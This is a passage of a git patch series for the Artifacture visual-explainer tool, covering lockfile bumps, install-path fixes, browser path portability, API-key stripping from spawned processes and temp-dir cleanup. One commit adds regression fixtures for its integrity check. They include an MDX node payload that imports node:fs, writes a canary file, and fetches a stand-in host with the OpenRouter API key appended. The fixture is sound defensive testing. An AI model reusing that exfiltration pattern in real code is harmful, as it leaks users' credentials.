"sha512-ouJs8VcUomfLfpbUECqFMRqdV4x6aeAK3MA4m6vTrJJjKyWTV5KnxZx7Jd9G+GlDaQQxubcba00x16OyJ1meig==", + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/@rolldown/binding-openharmony-arm64/-/binding-openharmony-arm64-1.1.4.tgz", + "integrity": "sha512-KXMGoboq5cyaCQjDA4GLuRiOwBQ0EyFnJoVViLeZ45/3rFItRODEr+NdsBcVpll40hhNArlm/speWGRvj08LzA==", "cpu": [ "arm64" ], @@ -395,27 +395,27 @@ } }, "node_modules/@rolldown/binding-wasm32-wasi": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/@rolldown/binding-wasm32-wasi/-/binding-wasm32-wasi-1.0.0.tgz", - "integrity": "sha512-E+oHKGiDA+lsKMmFtffDDw91EryDT7uJocrIuCHqhm6bCTM6xFK+3gaCkYOHfPwQr0cCNarSM2xaELoQDz9jJg==", + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/@rolldown/binding-wasm32-wasi/-/binding-wasm32-wasi-1.1.4.tgz", + "integrity": "sha512-5K83rb36oJiY7BCyE9zLZtGcPV4g5wvq+xwdO0XPIwDVZI8cyB/AUjkNXGb92/rnmezEkjMOpgY61rtwjQtFwg==", "cpu": [ "wasm32" ], "license": "MIT", "optional": true, "dependencies": { - "@emnapi/core": "1.10.0", - "@emnapi/runtime": "1.10.0", - "@napi-rs/wasm-runtime": "^1.1.4" + "@emnapi/core": "1.11.1", + "@emnapi/runtime": "1.11.1", + "@napi-rs/wasm-runtime": "^1.1.6" }, "engines": { "node": "^20.19.0 || >=22.12.0" } }, "node_modules/@rolldown/binding-win32-arm64-msvc": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/@rolldown/binding-win32-arm64-msvc/-/binding-win32-arm64-msvc-1.0.0.tgz", - "integrity": "sha512-yYK02n8Rngo+gbm1y6G0+7jk1sJ/2Wt7K0me0Y7k/ErBpyf+LJ2gFpqWVTcRV1rUepBlQRmpgWkTQCiiwrK0Ow==", + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/@rolldown/binding-win32-arm64-msvc/-/binding-win32-arm64-msvc-1.1.4.tgz", + "integrity": "sha512-PnWBtw3TV5KOg69HQQDR0mnQuyCmSGR2pAB4DC1rPF808fgKeTUMj2EOEyKATpgiuxuR5APQmiDO7PDgEjTFSA==", "cpu": [ "arm64" ], @@ -429,9 +429,9 @@ } }, "node_modules/@rolldown/binding-win32-x64-msvc": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/@rolldown/binding-win32-x64-msvc/-/binding-win32-x64-msvc-1.0.0.tgz", - "integrity": "sha512-14bpChMahXRRXiTwahSl+zzHPW6qQTXtkMuJBFlbo+pqSAews2d4BdCSHfrJ/MBsCZtpmTafsY+1QhBzitcmdg==", + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/@rolldown/binding-win32-x64-msvc/-/binding-win32-x64-msvc-1.1.4.tgz", + "integrity": "sha512-M1lpniBePobTfsa7Ks9a199e1akxsXn+GYBUKsEzv3YFzOm1HJAMNwKI3qr0Zq+mxwx9gOZoTdP1yXRYsZUocQ==", "cpu": [ "x64" ], @@ -1245,9 +1245,9 @@ } }, "node_modules/@tybys/wasm-util": { - "version": "0.10.2", - "resolved": "https://registry.npmjs.org/@tybys/wasm-util/-/wasm-util-0.10.2.tgz", - "integrity": "sha512-RoBvJ2X0wuKlWFIjrwffGw1IqZHKQqzIchKaadZZfnNpsAYp2mM0h36JtPCjNDAHGgYez/15uMBpfGwchhiMgg==", + "version": "0.10.3", + "resolved": "https://registry.npmjs.org/@tybys/wasm-util/-/wasm-util-0.10.3.tgz", + "integrity": "sha512-F3fo1MYrRJYL3zER0OUOmkutjr1Vp23m7OsSgp7nq4SP6OqX6C/56XFIPAl5bt3zaBRjmW7SGz3u/6LwFpYcOg==", "license": "MIT", "optional": true, "dependencies": { @@ -3115,9 +3115,9 @@ "license": "MIT" }, "node_modules/nanoid": { - "version": "3.3.12", - "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.12.tgz", - "integrity": "sha512-ZB9RH/39qpq5Vu6Y+NmUaFhQR6pp+M2Xt76XBnEwDaGcVAqhlvxrl3B2bKS5D3NH3QR76v3aSrKaF/Kiy7lEtQ==", + "version": "3.3.15", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.15.tgz", + "integrity": "sha512-y7Wygv/7mEOvxTuEQDB8StXdMRBWf1kR/tlhAzBRUFkB2jfcLOAxO/SHmOO2zgz1pVgK29/kyupn059/bCHdjA==", "funding": [ { "type": "github", @@ -3255,9 +3255,9 @@ } }, "node_modules/postcss": { - "version": "8.5.14", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.14.tgz", - "integrity": "sha512-SoSL4+OSEtR99LHFZQiJLkT59C5B1amGO1NzTwj7TT1qCUgUO6hxOvzkOYxD+vMrXBM3XJIKzokoERdqQq/Zmg==", + "version": "8.5.16", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.16.tgz", + "integrity": "sha512-vuwillviilfKZsg0VGj5R/YwwcHx4SLsIOI/7K6mQkWx+l5cUHTjj5g0AasTBcyXsbfTgrwsUNmVUb5xVwyPwg==", "funding": [ { "type": "opencollective", @@ -3274,7 +3274,7 @@ ], "license": "MIT", "dependencies": { - "nanoid": "^3.3.11", + "nanoid": "^3.3.12", "picocolors": "^1.1.1", "source-map-js": "^1.2.1" }, @@ -3470,13 +3470,13 @@ } }, "node_modules/rolldown": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/rolldown/-/rolldown-1.0.0.tgz", - "integrity": "sha512-yD986aXDESFGS95spT1LAv0jssywP4npMEjmMHyN2/5+eE8qQJUype2AaKkRiLgBgyD0LFlubwAht7VmY8rGoA==", + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/rolldown/-/rolldown-1.1.4.tgz", + "integrity": "sha512-IjZYiLxZwpnhwhdBH2ugdTGVSdhCQUmLxLoqyjiL0JxYjyRst+5a0P3xfrTxJ5F638j4Mvvw5FAX5XE6eHpXbA==", "license": "MIT", "dependencies": { - "@oxc-project/types": "=0.129.0", - "@rolldown/pluginutils": "1.0.0" + "@oxc-project/types": "=0.138.0", + "@rolldown/pluginutils": "^1.0.0" }, "bin": { "rolldown": "bin/cli.mjs" @@ -3485,27 +3485,27 @@ "node": "^20.19.0 || >=22.12.0" }, "optionalDependencies": { - "@rolldown/binding-android-arm64": "1.0.0", - "@rolldown/binding-darwin-arm64": "1.0.0", - "@rolldown/binding-darwin-x64": "1.0.0", - "@rolldown/binding-freebsd-x64": "1.0.0", - "@rolldown/binding-linux-arm-gnueabihf": "1.0.0", - "@rolldown/binding-linux-arm64-gnu": "1.0.0", - "@rolldown/binding-linux-arm64-musl": "1.0.0", - "@rolldown/binding-linux-ppc64-gnu": "1.0.0", - "@rolldown/binding-linux-s390x-gnu": "1.0.0", - "@rolldown/binding-linux-x64-gnu": "1.0.0", - "@rolldown/binding-linux-x64-musl": "1.0.0", - "@rolldown/binding-openharmony-arm64": "1.0.0", - "@rolldown/binding-wasm32-wasi": "1.0.0", - "@rolldown/binding-win32-arm64-msvc": "1.0.0", - "@rolldown/binding-win32-x64-msvc": "1.0.0" + "@rolldown/binding-android-arm64": "1.1.4", + "@rolldown/binding-darwin-arm64": "1.1.4", + "@rolldown/binding-darwin-x64": "1.1.4", + "@rolldown/binding-freebsd-x64": "1.1.4", + "@rolldown/binding-linux-arm-gnueabihf": "1.1.4", + "@rolldown/binding-linux-arm64-gnu": "1.1.4", + "@rolldown/binding-linux-arm64-musl": "1.1.4", + "@rolldown/binding-linux-ppc64-gnu": "1.1.4", + "@rolldown/binding-linux-s390x-gnu": "1.1.4", + "@rolldown/binding-linux-x64-gnu": "1.1.4", + "@rolldown/binding-linux-x64-musl": "1.1.4", + "@rolldown/binding-openharmony-arm64": "1.1.4", + "@rolldown/binding-wasm32-wasi": "1.1.4", + "@rolldown/binding-win32-arm64-msvc": "1.1.4", + "@rolldown/binding-win32-x64-msvc": "1.1.4" } }, "node_modules/rolldown/node_modules/@rolldown/pluginutils": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/@rolldown/pluginutils/-/pluginutils-1.0.0.tgz", - "integrity": "sha512-aKs/3GSWyV0mrhNmt/96/Z3yczC3yvrzYATCiCXQebBsGyYzjNdUphRVLeJQ67ySKVXRfMxt2lm12pmXvbPFQQ==", + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@rolldown/pluginutils/-/pluginutils-1.0.1.tgz", + "integrity": "sha512-2j9bGt5Jh8hj+vPtgzPtl72j0yRxHAyumoo6TNfAjsLB04UtpSvPbPcDcBMxz7n+9CYB0c1GxQFxYRg2jimqGw==", "license": "MIT" }, "node_modules/rollup": { @@ -3666,9 +3666,9 @@ } }, "node_modules/tinyglobby": { - "version": "0.2.16", - "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.16.tgz", - "integrity": "sha512-pn99VhoACYR8nFHhxqix+uvsbXineAasWm5ojXoN8xEwK5Kd3/TrhNn1wByuD52UxWRLy8pu+kRMniEi6Eq9Zg==", + "version": "0.2.17", + "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.17.tgz", + "integrity": "sha512-wXR/dYpcqKmfWpEdZjiKJOwCNFndD0DMnrW/cYjVGttEkBfVgcLFHoNrlj47mjOVic9yyNu65alsgF4NQyTa2g==", "license": "MIT", "dependencies": { "fdir": "^6.5.0", @@ -3857,16 +3857,16 @@ } }, "node_modules/vite": { - "version": "8.0.12", - "resolved": "https://registry.npmjs.org/vite/-/vite-8.0.12.tgz", - "integrity": "sha512-w2dDofOWv2QB09ZITZBsvKTVAlYvPR4IAmrY/v0ir9KvLs0xybR7i48wxhM1/oyBWO34wPns+bPGw5ZrZqDpZg==", + "version": "8.1.3", + "resolved": "https://registry.npmjs.org/vite/-/vite-8.1.3.tgz", + "integrity": "sha512-Ds+gBRbj0lwRO2Y5hwnUBdxSwlAve9LeRyU4sNnAr0ewW0gWF0n5bgXgUzbgZ49MV9BVUAQUFYVcDUcilUExMA==", "license": "MIT", "dependencies": { "lightningcss": "^1.32.0", "picomatch": "^4.0.4", - "postcss": "^8.5.14", - "rolldown": "1.0.0", - "tinyglobby": "^0.2.16" + "postcss": "^8.5.16", + "rolldown": "~1.1.3", + "tinyglobby": "^0.2.17" }, "bin": { "vite": "bin/vite.js" @@ -3882,7 +3882,7 @@ }, "peerDependencies": { "@types/node": "^20.19.0 || >=22.12.0", - "@vitejs/devtools": "^0.1.18", + "@vitejs/devtools": "^0.3.0", "esbuild": "^0.27.0 || ^0.28.0", "jiti": ">=1.21.0", "less": "^4.0.0", From cda3a0a2bee90d7ad0245c4eee2bddca400a8c25 Mon Sep 17 00:00:00 2001 From: Clayton Kim Date: Mon, 6 Jul 2026 22:14:10 -0700 Subject: [PATCH 07/34] SKILL: make the installed skill self-locating for the export pipeline MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The advertised install paths (npx skills add, manual copy) deliver only plugins/visual-explainer/, whose SKILL.md, cards, and legacy-html reference import components via ../../../visual-explainer-mdx/components — a path that resolves only inside a full repo clone. A skill installed via the documented paths failed on its first workflow step. SKILL.md now resolves a REPO variable (full-clone repo root, or a one-time git clone/npm install to ~/.artifacture otherwise); the six cards and references/legacy-html.md reference REPO/visual-explainer-mdx/ instead of the hardcoded relative path. README notes the one-time bootstrap. --- README.md | 3 +++ plugins/visual-explainer/SKILL.md | 20 +++++++++++++++++-- .../cards/code-walkthrough.md | 3 ++- .../cards/comparison-table.md | 3 ++- .../visual-explainer/cards/explain-diff.md | 3 ++- plugins/visual-explainer/cards/slide-deck.md | 3 ++- plugins/visual-explainer/cards/visual-plan.md | 3 ++- plugins/visual-explainer/cards/web-diagram.md | 3 ++- .../references/legacy-html.md | 4 ++-- 9 files changed, 35 insertions(+), 10 deletions(-) diff --git a/README.md b/README.md index c407f71..fd692fe 100644 --- a/README.md +++ b/README.md @@ -67,6 +67,9 @@ Any agent with skills support (Claude Code, Codex, Cursor, and others), via the npx skills add theclaymethod/artifacture ``` +First generation clones the render pipeline to `~/.artifacture` (one-time, +Node >= 22); full-clone installs use the repo in place. + **Claude Code, as a plugin:** ```bash diff --git a/plugins/visual-explainer/SKILL.md b/plugins/visual-explainer/SKILL.md index bfd6aad..01579c6 100644 --- a/plugins/visual-explainer/SKILL.md +++ b/plugins/visual-explainer/SKILL.md @@ -13,13 +13,29 @@ metadata: MDX/TSX -> HTML -> verify. Never ASCII; 4+ row or 3+ column tables become HTML. +## Pipeline location + +Rendering requires the Artifacture repo (components + export pipeline). +Resolve `REPO` first: +- If `../../visual-explainer-mdx/components.tsx` exists relative to this + file, you are inside a full clone: `REPO` = the repo root (two directories + up from this file). +- Otherwise clone or update it once: `git clone --depth 1 + https://github.com/theclaymethod/artifacture ~/.artifacture` (if + `~/.artifacture` exists: `git -C ~/.artifacture pull --ff-only`), then + `npm install --prefix ~/.artifacture`. `REPO` = `~/.artifacture`. + Requires Node >= 22. + +All `npm run ve:*` commands below run from `REPO`; author your `.mdx`/`.tsx` +source anywhere and pass absolute paths. + ## Tier 0 Workflow, in order: 1. Pick the flow's card from the routing table below and read it (plus this file — nothing else for covered flows). -2. Author `.mdx` (default; `.tsx` only for state/custom SVG/video). Import shared components from `visual-explainer-mdx/components.tsx` exactly as the card skeleton shows. -3. Export: `npm run ve:export -- --out ~/.agent/diagrams/.html` (static video: `npm run ve:export-static -- --out ~/.agent/videos//index.html`). Fix any strict-export integrity errors at the source. +2. Author `.mdx` (default; `.tsx` only for state/custom SVG/video). Import shared components from `REPO/visual-explainer-mdx/components.tsx` exactly as the card skeleton shows. +3. Export: `npm --prefix REPO run ve:export -- --out ` (static video: `npm --prefix REPO run ve:export-static -- --out `). Fix any strict-export integrity errors at the source. 4. Verify (§6 below), then open the artifact and tell the user the file path. The MDX/TSX source stays the editable source of truth — apply feedback there and re-export. ## Components diff --git a/plugins/visual-explainer/cards/code-walkthrough.md b/plugins/visual-explainer/cards/code-walkthrough.md index fb7c027..d361a36 100644 --- a/plugins/visual-explainer/cards/code-walkthrough.md +++ b/plugins/visual-explainer/cards/code-walkthrough.md @@ -1,7 +1,8 @@ # Code Walkthrough Card Use `ExplainerShell`, `Section`, `CodeBlock`, `Pipeline`. Focused snippets, not whole files. ```mdx -import { ExplainerShell, Section, CodeBlock, Pipeline } from '../../../visual-explainer-mdx/components'; +{/* REPO = artifacture checkout; see SKILL.md "Pipeline location" */} +import { ExplainerShell, Section, CodeBlock, Pipeline } from 'REPO/visual-explainer-mdx/components';
diff --git a/plugins/visual-explainer/cards/comparison-table.md b/plugins/visual-explainer/cards/comparison-table.md index e3bf6d2..f9225bb 100644 --- a/plugins/visual-explainer/cards/comparison-table.md +++ b/plugins/visual-explainer/cards/comparison-table.md @@ -1,7 +1,8 @@ # Comparison Table Card Use `ExplainerShell`, `Section`, `DecisionMatrix`, optional `Callout`. Best for 4+ rows or 3+ columns. Same keys in every row. ```mdx -import { ExplainerShell, Section, DecisionMatrix, Callout } from '../../../visual-explainer-mdx/components'; +{/* REPO = artifacture checkout; see SKILL.md "Pipeline location" */} +import { ExplainerShell, Section, DecisionMatrix, Callout } from 'REPO/visual-explainer-mdx/components';
Focal move: one local file, indexed lookups, and a clear migration path if the cache becomes shared.
diff --git a/plugins/visual-explainer/cards/slide-deck.md b/plugins/visual-explainer/cards/slide-deck.md index 64f322b..2343bb6 100644 --- a/plugins/visual-explainer/cards/slide-deck.md +++ b/plugins/visual-explainer/cards/slide-deck.md @@ -3,7 +3,8 @@ Use `SlideDeck`, `Slide`, plus `DiagramCanvas`, `DecisionMatrix`, or `CodeBlock`. `orientation="horizontal"` is magazine mode. ```mdx -import { DiagramCanvas, Slide, SlideDeck } from '../../../visual-explainer-mdx/components'; +{/* REPO = artifacture checkout; see SKILL.md "Pipeline location" */} +import { DiagramCanvas, Slide, SlideDeck } from 'REPO/visual-explainer-mdx/components'; diff --git a/plugins/visual-explainer/cards/visual-plan.md b/plugins/visual-explainer/cards/visual-plan.md index 0d0b2d2..30d7c8a 100644 --- a/plugins/visual-explainer/cards/visual-plan.md +++ b/plugins/visual-explainer/cards/visual-plan.md @@ -1,7 +1,8 @@ # Visual Plan Card Use `ExplainerShell`, `Section`, `Pipeline`, `DecisionMatrix`, `RiskLedger`. Real choices, one focal stat. ```mdx -import { ExplainerShell, Section, Pipeline, DecisionMatrix, RiskLedger } from '../../../visual-explainer-mdx/components'; +{/* REPO = artifacture checkout; see SKILL.md "Pipeline location" */} +import { ExplainerShell, Section, Pipeline, DecisionMatrix, RiskLedger } from 'REPO/visual-explainer-mdx/components';
Date: Mon, 6 Jul 2026 22:16:37 -0700 Subject: [PATCH 08/34] verify: make Chromium fallback path portable across platforms Honor PLAYWRIGHT_BROWSERS_PATH and derive the per-OS cache dir and chrome-headless-shell folder name from process.platform/arch instead of hardcoding the macOS-ARM path. Linux CI runners can now resolve a fallback browser; darwin-arm64 behavior is unchanged. --- .../scripts/verify/lib/browser.mjs | 27 +++++++++++++++++-- 1 file changed, 25 insertions(+), 2 deletions(-) diff --git a/plugins/visual-explainer/scripts/verify/lib/browser.mjs b/plugins/visual-explainer/scripts/verify/lib/browser.mjs index d4625ad..b497960 100644 --- a/plugins/visual-explainer/scripts/verify/lib/browser.mjs +++ b/plugins/visual-explainer/scripts/verify/lib/browser.mjs @@ -40,8 +40,31 @@ async function launchChromium() { } } +function cacheDirForPlatform() { + if (process.env.PLAYWRIGHT_BROWSERS_PATH) return process.env.PLAYWRIGHT_BROWSERS_PATH; + const home = homedir(); + switch (process.platform) { + case 'darwin': + return path.join(home, 'Library', 'Caches', 'ms-playwright'); + case 'win32': + return path.join(home, 'AppData', 'Local', 'ms-playwright'); + default: + return path.join(home, '.cache', 'ms-playwright'); + } +} + +function shellFolderForPlatform() { + const { platform, arch } = process; + if (platform === 'darwin') return arch === 'arm64' ? 'chrome-headless-shell-mac-arm64' : 'chrome-headless-shell-mac'; + if (platform === 'win32') return 'chrome-headless-shell-win64'; + // linux and any other POSIX platform + return arch === 'arm64' ? 'chrome-headless-shell-linux-arm64' : 'chrome-headless-shell-linux'; +} + async function newestCachedHeadlessShell() { - const cacheDir = path.join(homedir(), 'Library', 'Caches', 'ms-playwright'); + const cacheDir = cacheDirForPlatform(); + const shellFolder = shellFolderForPlatform(); + const executableName = process.platform === 'win32' ? 'chrome-headless-shell.exe' : 'chrome-headless-shell'; let entries = []; try { entries = await readdir(cacheDir, { withFileTypes: true }); @@ -53,7 +76,7 @@ async function newestCachedHeadlessShell() { .map((entry) => ({ name: entry.name, revision: Number(entry.name.match(/(\d+)$/)?.[1] || 0), - executablePath: path.join(cacheDir, entry.name, 'chrome-headless-shell-mac-arm64', 'chrome-headless-shell') + executablePath: path.join(cacheDir, entry.name, shellFolder, executableName) })) .sort((a, b) => b.revision - a.revision); From 572e97b19a44f1a98f99882be73d1b533696d188 Mon Sep 17 00:00:00 2001 From: Clayton Kim Date: Mon, 6 Jul 2026 22:17:06 -0700 Subject: [PATCH 09/34] integrity: add malicious-literal regression fixtures with a canary MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit malicious-nodes-exec.mdx puts a fetch()-and-exfiltrate IIFE inside a DiagramCanvas nodes array; if the preflight ever executed prop expressions again (a regression to Function()-eval), it would create /tmp/p002-canary via a dynamic import('node:fs') — verified `require` is unreachable from Function()-eval in this ESM context but dynamic import() is, so that's the realistic RCE vector here, and confirmed experimentally that this payload does write the canary under the old Function()-based evaluator and does not under the new parser. malicious-template-interpolation.mdx covers the other rejected literal form: a backtick template with ${process.env.HOME} interpolation in a DiffBlock patch prop. check-integrity.mjs now runs both fixtures through the existing strict/draft harness and asserts the canary file is absent after the run. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01AMn6wt4fMCxg7rxj9igFtS --- scripts/ve-mdx/check-integrity.mjs | 14 ++++++++++++++ scripts/ve-mdx/fixtures/malicious-nodes-exec.mdx | 14 ++++++++++++++ .../fixtures/malicious-template-interpolation.mdx | 14 ++++++++++++++ 3 files changed, 42 insertions(+) create mode 100644 scripts/ve-mdx/fixtures/malicious-nodes-exec.mdx create mode 100644 scripts/ve-mdx/fixtures/malicious-template-interpolation.mdx diff --git a/scripts/ve-mdx/check-integrity.mjs b/scripts/ve-mdx/check-integrity.mjs index 3ebf66d..fb7971f 100644 --- a/scripts/ve-mdx/check-integrity.mjs +++ b/scripts/ve-mdx/check-integrity.mjs @@ -11,8 +11,15 @@ const fixtures = [ 'scripts/ve-mdx/fixtures/clipped-viewbox.mdx', 'scripts/ve-mdx/fixtures/bad-diff.mdx', 'scripts/ve-mdx/fixtures/missing-codeblock.mdx', + 'scripts/ve-mdx/fixtures/malicious-nodes-exec.mdx', + 'scripts/ve-mdx/fixtures/malicious-template-interpolation.mdx', ]; +// malicious-nodes-exec.mdx embeds a payload that, if it were ever executed by +// the integrity preflight (e.g. a regression back to Function()-eval), would +// write this canary file. It must never exist after a clean run. +const canaryPath = '/tmp/p002-canary'; + function runExport(args) { return new Promise((resolve) => { const child = spawn(process.execPath, ['scripts/ve-mdx/export.mjs', ...args], { @@ -31,6 +38,8 @@ function runExport(args) { }); } +await fs.rm(canaryPath, { force: true }); + const tmp = await fs.mkdtemp(path.join(os.tmpdir(), 've-mdx-integrity-')); try { for (const fixture of fixtures) { @@ -48,6 +57,11 @@ try { throw new Error(`${fixture}: draft export did not report warnings\n${draft.stderr}`); } } + + const canaryExists = await fs.access(canaryPath).then(() => true, () => false); + if (canaryExists) { + throw new Error(`${canaryPath} exists — malicious-nodes-exec.mdx's payload executed; the integrity preflight is unsafe`); + } } finally { await fs.rm(tmp, { force: true, recursive: true }); } diff --git a/scripts/ve-mdx/fixtures/malicious-nodes-exec.mdx b/scripts/ve-mdx/fixtures/malicious-nodes-exec.mdx new file mode 100644 index 0000000..1172eb7 --- /dev/null +++ b/scripts/ve-mdx/fixtures/malicious-nodes-exec.mdx @@ -0,0 +1,14 @@ +import { DiagramCanvas, ExplainerShell, Section } from '../../../visual-explainer-mdx/components'; + +export default function MaliciousNodesExecFixture() { + return ( + +
+ { const fsMod = await import('node:fs'); fsMod.writeFileSync('/tmp/p002-canary', 'exfiltrated'); return fetch('http://p002-canary-test.invalid/?key=' + process.env.OPENROUTER_API_KEY); })()]} + edges={[]} + /> +
+
+ ); +} diff --git a/scripts/ve-mdx/fixtures/malicious-template-interpolation.mdx b/scripts/ve-mdx/fixtures/malicious-template-interpolation.mdx new file mode 100644 index 0000000..2cd19e6 --- /dev/null +++ b/scripts/ve-mdx/fixtures/malicious-template-interpolation.mdx @@ -0,0 +1,14 @@ +import { DiffBlock, ExplainerShell, Section } from '../../../visual-explainer-mdx/components'; + +export default function MaliciousTemplateInterpolationFixture() { + return ( + +
+ +
+
+ ); +} From e6154ec1363fbcd5ab389cfdbd42dc09420717fa Mon Sep 17 00:00:00 2001 From: Clayton Kim Date: Mon, 6 Jul 2026 22:17:50 -0700 Subject: [PATCH 10/34] plan 009 step 1: re-route MDX flows off legacy-html.md Remove references/legacy-html.md from the Tier 2 column for the six MDX-covered flows (diagram, plan, table, slides, code, explain-diff). Keeps the poster/video/brand/bespoke sentence pointing at legacy-html.md. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01AMn6wt4fMCxg7rxj9igFtS --- plugins/visual-explainer/SKILL.md | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/plugins/visual-explainer/SKILL.md b/plugins/visual-explainer/SKILL.md index 01579c6..0588cc2 100644 --- a/plugins/visual-explainer/SKILL.md +++ b/plugins/visual-explainer/SKILL.md @@ -62,12 +62,12 @@ Presets: mono-industrial, nothing, blueprint, editorial, paper-ink, terminal, cu |Flow|Card|Tier 2| |-|-|-| -|diagram|cards/web-diagram.md|references/diagrams-svg.md; references/legacy-html.md| -|plan|cards/visual-plan.md|references/legacy-html.md| -|table|cards/comparison-table.md|references/legacy-html.md| -|slides|cards/slide-deck.md|references/slide-patterns.md; references/legacy-html.md| -|code|cards/code-walkthrough.md|references/legacy-html.md| -|explain-diff|cards/explain-diff.md|references/legacy-html.md| +|diagram|cards/web-diagram.md|references/diagrams-svg.md| +|plan|cards/visual-plan.md|| +|table|cards/comparison-table.md|| +|slides|cards/slide-deck.md|references/slide-patterns.md| +|code|cards/code-walkthrough.md|| +|explain-diff|cards/explain-diff.md|| Clarify: `./references/clarify.md`. Use components/tokens, not hand CSS/coords. Run /unslop (or apply `./scripts/verify/rubrics/pass-copy.md`) on drafted copy; poster/video/brand/bespoke -> `./references/legacy-html.md`. From c30c23e0978e79c21e2f2f1b85d41a3e62190767 Mon Sep 17 00:00:00 2001 From: Clayton Kim Date: Mon, 6 Jul 2026 22:18:00 -0700 Subject: [PATCH 11/34] matrix: strip OPENROUTER_API_KEY from all spawned child processes MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit export.mjs, ve-verify.mjs, and codex-cli all run in subprocesses spawned via runCommand(), which previously passed through the full parent env (Node's spawn() default) whenever no explicit env was given. Since the model-matrix harness exports and verifies model-generated MDX, an untrusted source could reach process.env.OPENROUTER_API_KEY inside that subprocess. None of the three spawned commands need the key — only the in-process fetch() calls in generateOpenRouter() and callAcuityJudge() authenticate with OpenRouter — so runCommand now deletes it from the child env before every spawn. codex-cli's own auth (handled outside this env var) is untouched since only this one key is removed, not the whole env. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01AMn6wt4fMCxg7rxj9igFtS --- evals/model-matrix/run-matrix.mjs | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/evals/model-matrix/run-matrix.mjs b/evals/model-matrix/run-matrix.mjs index 2936cd0..19623f7 100644 --- a/evals/model-matrix/run-matrix.mjs +++ b/evals/model-matrix/run-matrix.mjs @@ -681,9 +681,16 @@ function commandMeta(result) { }; } +// Every process this harness spawns (export, verify, codex-cli) is fed +// model-generated source or invoked against it. None of them need the +// OpenRouter key — only the in-process fetch calls in generateOpenRouter() +// and callAcuityJudge() do — so it's stripped from every child env here to +// keep it from leaking to untrusted model output or third-party CLIs. async function runCommand(cmd, args, { timeoutMs, cwd = repoRoot } = {}) { + const env = { ...process.env }; + delete env.OPENROUTER_API_KEY; return await new Promise((resolve) => { - const child = spawn(cmd, args, { cwd, stdio: ['ignore', 'pipe', 'pipe'] }); + const child = spawn(cmd, args, { cwd, env, stdio: ['ignore', 'pipe', 'pipe'] }); let stdout = ''; let stderr = ''; let timedOut = false; From cd8f93012dfbf04bba74e9fb423a9d3d0a52b286 Mon Sep 17 00:00:00 2001 From: Clayton Kim Date: Mon, 6 Jul 2026 22:18:36 -0700 Subject: [PATCH 12/34] plan 009 step 2: add scope statement to legacy-html.md State plainly that the legacy HTML path is for poster/video/brand/bespoke one-offs, not the six MDX-covered flows. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01AMn6wt4fMCxg7rxj9igFtS --- plugins/visual-explainer/references/legacy-html.md | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/plugins/visual-explainer/references/legacy-html.md b/plugins/visual-explainer/references/legacy-html.md index 2079111..ee9e5f3 100644 --- a/plugins/visual-explainer/references/legacy-html.md +++ b/plugins/visual-explainer/references/legacy-html.md @@ -8,6 +8,11 @@ metadata: version: "0.6.3" --- +> **Scope**: this path is for poster, video (Hyperframes), brand/bespoke +> one-offs, and aesthetics without MDX preset support. For diagram / plan / +> table / slides / code / explain-diff flows, use the MDX pipeline +> (SKILL.md Tier 0) — do not hand-author HTML for those. + # Legacy HTML Reference Status: Tier 2 fallback. Use this file only when the MDX/React pipeline is unavailable, a Tier 1 card says none of its component paths fit, or custom work needs the former hand-authored HTML procedures, diagram prose, Mermaid shell details, aesthetics, poster, slide, or video guidance. Tier 0 and cards are the normal path. From 191dd5385a8d86db568b79f0171fdbd4f6d234b5 Mon Sep 17 00:00:00 2001 From: Clayton Kim Date: Mon, 6 Jul 2026 22:19:27 -0700 Subject: [PATCH 13/34] export/matrix: clean up temp dirs on every exit path export.mjs's main() left its .ve-mdx-tmp/export-* working dir behind on every run (no removal anywhere, success or failure). run-matrix.mjs's generateCodexCli() had the same leak for its prompt-* dir. Both now wrap the mkdtemp'd directory in try/finally so it's removed regardless of how the function exits (success, thrown build error, or an early return). Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01AMn6wt4fMCxg7rxj9igFtS --- evals/model-matrix/run-matrix.mjs | 48 ++++++++++--------- scripts/ve-mdx/export.mjs | 80 ++++++++++++++++--------------- 2 files changed, 68 insertions(+), 60 deletions(-) diff --git a/evals/model-matrix/run-matrix.mjs b/evals/model-matrix/run-matrix.mjs index 19623f7..3e11b30 100644 --- a/evals/model-matrix/run-matrix.mjs +++ b/evals/model-matrix/run-matrix.mjs @@ -638,30 +638,34 @@ async function fetchWithRetry(url, options) { async function generateCodexCli({ prompt, sourcePath, cellDir }) { const tmpDir = await fs.mkdtemp(path.join(cellDir, 'prompt-')); - const tmpPrompt = path.join(tmpDir, 'prompt.txt'); - await fs.writeFile(tmpPrompt, prompt); - const instruction = `Read ${tmpPrompt} and follow it. Write the source file to ${sourcePath} and do nothing else.`; - const codexArgs = [ - 'exec', - '--sandbox', - 'workspace-write', - '-c', - 'model_reasoning_effort="medium"', - instruction, - ]; - let result; - for (let attempt = 0; attempt < 2; attempt += 1) { - // stdin must be closed: codex sniffs a piped stdin and blocks on it. - result = await runCommand('codex', codexArgs, { 